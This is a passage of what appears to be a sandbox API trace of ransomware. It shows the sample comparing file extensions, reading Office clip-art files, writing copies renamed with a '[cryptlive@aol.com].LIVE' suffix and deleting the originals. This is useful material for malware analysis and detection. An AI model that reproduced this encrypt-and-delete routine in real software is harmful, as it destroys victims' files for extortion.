(lpString1=".zip", lpString2=".WMF") returned 1 [0142.053] lstrlenW (lpString=".rar") returned 4 [0142.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".bz2") returned 4 [0142.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString=".7z") returned 3 [0142.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".dbf") returned 4 [0142.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.053] lstrlenW (lpString=".1cd") returned 4 [0142.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0142.054] lstrlenW (lpString=".jpg") returned 4 [0142.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.054] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.054] lstrlenW (lpString="DD01793_.WMF") returned 12 [0142.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.054] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3252) returned 1 [0142.054] CloseHandle (hObject=0x3a8) returned 1 [0142.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0142.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.055] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.055] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.056] GetLastError () returned 0x0 [0142.056] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0142.057] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0142.058] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.058] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.058] SetEndOfFile (hFile=0x39c) returned 1 [0142.058] CloseHandle (hObject=0x39c) returned 1 [0142.058] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.058] SetEndOfFile (hFile=0x3a8) returned 1 [0142.060] CloseHandle (hObject=0x3a8) returned 1 [0142.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.062] lstrlenW (lpString=".doc") returned 4 [0142.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString=".docx") returned 5 [0142.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.062] lstrlenW (lpString=".pdf") returned 4 [0142.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString=".xls") returned 4 [0142.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.062] lstrlenW (lpString=".xlsx") returned 5 [0142.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.062] lstrlenW (lpString=".ppt") returned 4 [0142.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.062] lstrlenW (lpString=".zip") returned 4 [0142.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.062] lstrlenW (lpString=".rar") returned 4 [0142.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString=".bz2") returned 4 [0142.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString=".7z") returned 3 [0142.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.062] lstrlenW (lpString=".dbf") returned 4 [0142.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".1cd") returned 4 [0142.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".jpg") returned 4 [0142.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".doc") returned 4 [0142.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString=".docx") returned 5 [0142.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.063] lstrlenW (lpString=".pdf") returned 4 [0142.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString=".xls") returned 4 [0142.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.063] lstrlenW (lpString=".xlsx") returned 5 [0142.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.063] lstrlenW (lpString=".ppt") returned 4 [0142.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".zip") returned 4 [0142.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.063] lstrlenW (lpString=".rar") returned 4 [0142.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString=".bz2") returned 4 [0142.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString=".7z") returned 3 [0142.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".dbf") returned 4 [0142.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".1cd") returned 4 [0142.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0142.063] lstrlenW (lpString=".jpg") returned 4 [0142.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.064] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.064] lstrlenW (lpString="ED00010_.WMF") returned 12 [0142.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.064] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1382) returned 1 [0142.064] CloseHandle (hObject=0x3a8) returned 1 [0142.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0142.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.065] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.065] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.066] GetLastError () returned 0x0 [0142.066] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x566, lpOverlapped=0x0) returned 1 [0142.067] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x570, lpOverlapped=0x0) returned 1 [0142.068] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.068] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.068] SetEndOfFile (hFile=0x39c) returned 1 [0142.068] CloseHandle (hObject=0x39c) returned 1 [0142.068] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.068] SetEndOfFile (hFile=0x3a8) returned 1 [0142.070] CloseHandle (hObject=0x3a8) returned 1 [0142.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.071] lstrlenW (lpString=".doc") returned 4 [0142.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".docx") returned 5 [0142.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.071] lstrlenW (lpString=".pdf") returned 4 [0142.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.071] lstrlenW (lpString=".xls") returned 4 [0142.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.072] lstrlenW (lpString=".xlsx") returned 5 [0142.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.072] lstrlenW (lpString=".ppt") returned 4 [0142.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString=".zip") returned 4 [0142.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.072] lstrlenW (lpString=".rar") returned 4 [0142.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".bz2") returned 4 [0142.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".7z") returned 3 [0142.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString=".dbf") returned 4 [0142.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString=".1cd") returned 4 [0142.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString=".jpg") returned 4 [0142.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.072] lstrlenW (lpString=".doc") returned 4 [0142.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".docx") returned 5 [0142.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.072] lstrlenW (lpString=".pdf") returned 4 [0142.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.072] lstrlenW (lpString=".xls") returned 4 [0142.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.072] lstrlenW (lpString=".xlsx") returned 5 [0142.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.072] lstrlenW (lpString=".ppt") returned 4 [0142.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.073] lstrlenW (lpString=".zip") returned 4 [0142.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.073] lstrlenW (lpString=".rar") returned 4 [0142.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString=".bz2") returned 4 [0142.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString=".7z") returned 3 [0142.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.073] lstrlenW (lpString=".dbf") returned 4 [0142.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.073] lstrlenW (lpString=".1cd") returned 4 [0142.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0142.073] lstrlenW (lpString=".jpg") returned 4 [0142.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.073] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.073] lstrlenW (lpString="ED00019_.WMF") returned 12 [0142.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.074] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13042) returned 1 [0142.074] CloseHandle (hObject=0x3a8) returned 1 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.074] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.074] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.075] GetLastError () returned 0x0 [0142.075] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x32f2, lpOverlapped=0x0) returned 1 [0142.076] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3300, lpOverlapped=0x0) returned 1 [0142.077] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.077] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.078] SetEndOfFile (hFile=0x39c) returned 1 [0142.078] CloseHandle (hObject=0x39c) returned 1 [0142.078] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.078] SetEndOfFile (hFile=0x3a8) returned 1 [0142.081] CloseHandle (hObject=0x3a8) returned 1 [0142.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0142.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.082] lstrlenW (lpString=".doc") returned 4 [0142.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.082] lstrlenW (lpString=".docx") returned 5 [0142.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.082] lstrlenW (lpString=".pdf") returned 4 [0142.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.082] lstrlenW (lpString=".xls") returned 4 [0142.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.082] lstrlenW (lpString=".xlsx") returned 5 [0142.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.082] lstrlenW (lpString=".ppt") returned 4 [0142.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.082] lstrlenW (lpString=".zip") returned 4 [0142.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.082] lstrlenW (lpString=".rar") returned 4 [0142.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.082] lstrlenW (lpString=".bz2") returned 4 [0142.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.082] lstrlenW (lpString=".7z") returned 3 [0142.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".dbf") returned 4 [0142.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".1cd") returned 4 [0142.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".jpg") returned 4 [0142.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".doc") returned 4 [0142.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString=".docx") returned 5 [0142.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.083] lstrlenW (lpString=".pdf") returned 4 [0142.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString=".xls") returned 4 [0142.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.083] lstrlenW (lpString=".xlsx") returned 5 [0142.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.083] lstrlenW (lpString=".ppt") returned 4 [0142.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".zip") returned 4 [0142.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.083] lstrlenW (lpString=".rar") returned 4 [0142.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString=".bz2") returned 4 [0142.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.083] lstrlenW (lpString=".7z") returned 3 [0142.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".dbf") returned 4 [0142.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") 